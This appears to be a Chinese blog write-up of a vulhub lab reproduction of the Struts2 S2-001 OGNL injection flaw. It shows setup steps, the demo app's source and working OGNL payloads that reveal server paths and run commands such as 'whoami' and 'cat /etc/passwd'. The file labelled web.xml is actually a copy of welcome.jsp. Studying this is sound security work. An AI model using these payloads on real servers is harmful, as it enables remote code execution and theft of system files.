前言:
最近开始对vulhub
的靶机进行漏洞复现学习,开始对Struts2系列的漏洞进行复现分析。
一开始了,想着先对漏洞进行复现利用,然后在对源码进行下断跟踪分析,但是通过两天的努力和在网上观看此类文章,都没达到效果,可能是java代码的不熟练,所以源码分析那面始终没有什么突破。
漏洞信息:
漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:Remote code exploit on form validation error
漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
环境搭建:
靶机环境
系统版本:Ubuntu20.04
ip:192.168.26.128
进入目录:/vulhub/struts2/s2-001
先自动化编辑环境:docker-compose build
启动漏洞环境:docker-compose up -d

打开浏览器访问:http://ip:8080/

源码结构:

index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https: <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
|
welcome.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
|
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
|
struts.xml
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts>
|
LoginAction.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
|
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport { private String username = null; private String password = null;
public LoginAction() { }
public String getUsername() { return this.username; }
public String getPassword() { return this.password; }
public void setUsername(String username) { this.username = username; }
public void setPassword(String password) { this.password = password; }
public String execute() throws Exception { if (!this.username.isEmpty() && !this.password.isEmpty()) { return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error"; } else { return "error"; } } }
|
漏洞利用:
测试是否存在代码执行漏洞poc:%{1+3} //这里的算数写啥都行


返回4,说明的却有代码执行漏洞。
获取tomcat执行路径:
1
| %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
|
获取Web路径:
1 2 3 4 5 6 7
| %{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
|
执行命令
1 2 3 4 5 6 7 8 9 10 11
| %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
|
执行任意命令时,如果所执行的命令需要组合,则将上述 payload 改为:
1 2 3 4 5 6 7 8 9 10 11
| %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
|

源码分析:
该漏洞是OGNL导致的RCE,然而阅读了网上很多复现文章和自己动手实操后,过程还是很懵逼。
首先网上的复现文章,下的断点位置大多都不一致,基本都是一步带过,我自己下断跟踪时,发现始终无法跟踪到判断altSyntax
是否开启这个函数中,所以源码分析一直没有结果。